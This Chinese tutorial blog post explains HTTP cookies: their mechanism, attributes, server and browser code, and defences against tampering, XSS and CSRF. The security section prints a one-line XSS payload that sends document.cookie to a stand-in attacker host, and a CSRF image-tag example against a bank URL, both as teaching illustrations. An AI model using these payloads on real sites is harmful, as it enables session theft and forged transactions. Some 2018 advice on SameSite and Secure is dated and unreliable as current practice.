全面了解 Http Cookie

作者：JAY 2018-06-07

前言

Cookie是web开发中常用协议之一，用于储存数据到用户终端。作为一个二十多年的老朋友，大家想必都不陌生。本文全面介绍cookie的原理、属性、使用方法、安全性，深入了解cookie的每个细节。


请注意，Cookie和Set-Cookie只是http header的一个属性而已。除了浏览器，其他环境下的http请求也能获取到，它们的处理机制可能与浏览器有差异。下文讨论的内容，如无特殊说明，默认讨论的是主流浏览器下的行为。


Cookie简介

在互联网建立之初，浏览器并没有在客户端保存内容的手段。每次http请求，都如同第一次访问一样，服务器不知道用户上一次做了什么。想象一下这是多可怕的世界，比如你每次访问一个需要校验登录态的页面，都得输入帐号密码。为了解决这个问题，Lou Montulli提出了Netscape Cookie规范，第二年IE2也支持了这个规范，之后再经过多次修改，成了我们现在用的cookie。


Cookie的常见用途：

  1. 在客户端保存登录态；

  2. 浏览器行为跟踪，分析用户行为，定向推送广告；

  3. 保存购物车、游戏分数、个性化设置等其他信息。

Cookie曾一度用于客户端数据的存储，因为那时候还没有别的手段。但现在浏览器已经支持各种各样的储存方式，上述第三个应用场景强烈推荐不要使用cookie。对于游戏分数等本地化内容推荐使用Web Storage，而购物车、个人设置则推荐存在服务器，并通过登录态去获取。


Cookie的缺陷及对策：

  1. Cookie的大小不能超过4KB。请勿储存复杂数据；

  2. Cookie会被附加在每个http请求中，增加了请求流量。升级到http2可以解决这个问题；

  3. 作为Http header的一部分，cookie是明文传递的。请使用https来保证安全性。



Cookie原理

客户端第一次向服务器发起http请求，服务器想在客户端种下cookie，在响应头部加入“Set-cookie”字段：


客户端收到cookie之后，储存在本地。第二次发起http请求时，自动在头部带上cookie：


注意上图中多个cookie的处理情况。服务端允许在同一个http响应的头部加入多个Set-Cookie，客户端（通常是浏览器）依次读取，以key-value形式存到本地。而客户端发起请求的时候，所有在这个域名下的有效值，以“key1=value1; key2=value2”格式合并为一个Cookie，加到http头部中。


如果浏览器中已经储存了一个cookie，再次收到同个域下相同key值的Set-Cookie，则会更新已储存的cookie。也就是说，浏览器cookie的写入、更新和删除，都可以通过服务器http header来操作，而不需要客户端脚本的支持。



Cookie属性

一个典型的Set-Cookie是一个如下的字符串：$key=$value; expires=$expires; path=$path; domain=$domain; HttpOnly; 。除了前面最重要的key/value之外，后面还有expires、path、domain、HttpOnly等字段。在Chrome下F12打开开发者工具，切换到Application/Storage/Cookies下，可查看当前页面储存的cookie。


Expires：

过期时间，字符串，格式为：“Wdy, DD-Mon-YYYY HH:MM:SS GMT”。如果没有设置，则默认是Session cookie，表示关闭浏览器之后失效。有些浏览器了会话恢复功能，其实就是把Session cookie存起来，下次打开浏览器时继续用。在服务器看起来，就好像浏览器从来没有关闭一样。

RFC 2965 规范提供了一个替代方案："Max-Age:seconds"，表示cookie多少秒后失效，效果是一样的。

注意，浏览器的cookie是按照客户端设备时间来判断是否过期的，而不是服务器时间。你甚至可以通过修改系统时间，来改变cookie的过期行为。


Domain、Path：

Domain定义主机，Path定义路径，共同组成了cookie的作用域。

如果不指定Domain，则默认为当前主机（不包含子域名）。如果指定了Domain，则一般包含子域名。比如，tieba.baidu.com和zhidao.baidu.com，Domain都设置了“baidu.com”，这样你不管在哪边登录过一次，访问另一个也不用重新登录了，因为储存登录态的cookie在两个域名下都能使用。

注意，在跨域请求时，附带的是请求的接口所属的域名和路径下的cookie。这涉及到安全问题，下文还会详细讨论。


HttpOnly：

先别吐槽命名。这个标志表示在浏览器里，该cookie只会在通过发送请求时附上，而不能通过脚本document.cookie获取。用于避免跨站脚本攻击（XSS，下文会详细讨论）。


Secure：

表示这个cookie只能通过https传输，从 Chrome 52 和 Firefox 52 开始支持。然而，由于cookie机制本身不够安全（下文会详细讨论），Secure标记也不能确保其安全性。敏感信息本来就不应该通过cookie传输，这个标记的意义不是很大。


SameSite：

表示此Cookie在跨站请求时不会发送，用于防止跨站请求伪造攻击（CSRF，下文会详细讨论）。支持的浏览器不多，不推荐使用。浏览器支持情况请参考：https://caniuse.com/#search=SameSite



Cookie使用

服务端

Node.js：

response.setHeader('Set-Cookie', ['type=ninja', 'language=javascript']);

PHP：

bool setcookie ( string $name [, string $value = "" [, int $expire = 0 [, string $path = "" [, string $domain = "" [, bool$secure = FALSE [, bool $httponly = FALSE ]]]]]] )

python：

from http import cookies
C = cookies.SimpleCookie()
C["fig"] = "newton"
C["sugar"] = "wafer"

以上是发送Set-cookie的基本操作。至于读取，直接从http header里面读出cookie字段即可。


浏览器

浏览器会自动读取http响应的set-cookie字段，以key-value形式存在本地，并在下次请求的时候自动带上。对于没有设置HttpOnly的cookie，可以通过javascript读取和写入：

document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie); 
// logs "yummy_cookie=choco; tasty_cookie=strawberry"


读取cookie请注意：

  1. 存在多个cookie的情况下，document.cookie一次性全部读出，并通过“;”分隔；

  2. document.cookie输出结果是一个字符串，而非对象，需要自行分割和处理；

  3. document.cookie只能读取到key和value，读取不到Domain、Path、Expires等其他属性；


写入cookie请注意：

  1. 可以通过写入expires属性来修改cookie的过期时间，格式与set-cookie相同；

  2. document.cookie没有删除的操作，一般把expires修改为已经过期的时间，就相当于删除了cookie；

  3. document.cookie无法写入HttpOnly的cookie；


请参考Document.cookie文档，里面有完整支持unicode的cookie读取/写入器的示例代码。


其他

对于axios、flyio等http请求库，可以运行于不同的环境：

在浏览器中，通常是直接调用XMLHttpRequest 的实例方法，并不能获取到set-cookie字段。所有cookie的交互与浏览器一致；

非浏览器环境境下（如node、微信小程序等），当有多个 set-cookie 时候，axios将多个 set-cookie 合并到一个数组，flyio则是合并成字符串，并用 "," 分隔。

需要注意的是，非浏览器环境下，由于是直接从http header中获取信息，是可以获取到所有的cookie的，包括HttpOnly。同时，也能获取到Domain、Path、Expires等其他属性，格式与set-cookie一致。

（划重点，微信小程序，你一定会用到的。）



Cookie安全

防篡改

在客户端，cookie是可以轻易读取和修改，设计上就不应该使用cookie储存敏感数据。但有些场景，要求不那么严谨，我们只需要简单校验客户端的cookie不被篡改过即可。下面举一个简单的案例。

假设我们想记录访客首次访问时间，又不想在服务器建数据库储存。于是我们在客户端种一个cookie：“first_time: 2018-06-07 12:00:00”。这样下次用户再访问，我们就能获取到用户初次登录的时间了。然而有些用户不老实，他们自己篡改了这个cookie，以假装自己是老用户。这时就需要校验这个cookie是否被篡改过了。我们可以在服务器配置一个密钥，对“first_time”的值计算哈希签名，并同时再种一个“first_time_sig”的cookie。这样，用户下次提交cookie的时候，我们只需要对提交“first_time”的值算一下签名，看下是否和“first_time_sig”一致就行。由于用户没有服务器的密钥，他们即使修改了cookie的内容，也无法伪造签名。

这种签名防止篡改的思路跟JWT类似，可以参考我另一篇博客《Json Web Token》。


防XSS

Cookie经常被用来保存用户的登录态信息，一旦被窃取，直接威胁用户的账户权限安全。下面是一个典型的XSS（跨站脚本攻击）的例子：

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

上述代码一旦执行，用户的浏览器自动向黑客的主机evil-domain.com发送http请求，并以get方法传递了通过document.cookie获取到的当前页面下的cookie。这样，黑客就拿到用户权限了。

这也是上文提到的，关键数据的cookie请务必HttpOnly，这样可以避免被document.cookie获取到。


防CSRF

跨站请求伪造，举一个维基百科提到的例子，如果你在某不安全的论坛上看到一张图片：

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

浏览器为了显示图片，会向bank.example.com发起get请求。这是你银行的域名，并且get后面带了转账等信息，在加上上文提到过的，跨域请求时附带的是接口所属域名下的cookie，意味着你之前在银行的登录态也会带上。这样，银行主机收到请求，误以为你在执行转账操作，并且登录态校验通过，黑客就把你的钱转走了。

我们应该从设计上尽量阻止此类事件的发生：

  1. 对用户输入的数据进行安全性过滤；

  2. 任何敏感操作都需要确认；

  3. 敏感请求使用POST而不是GET；

  4. 敏感信息的Cookie只能拥有较短的生命周期；



总结

本文介绍了http cookie的原理、属性、使用方法、安全性。


参考文献

  1. https://en.wikipedia.org/wiki/HTTP_cookie

  2. https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies




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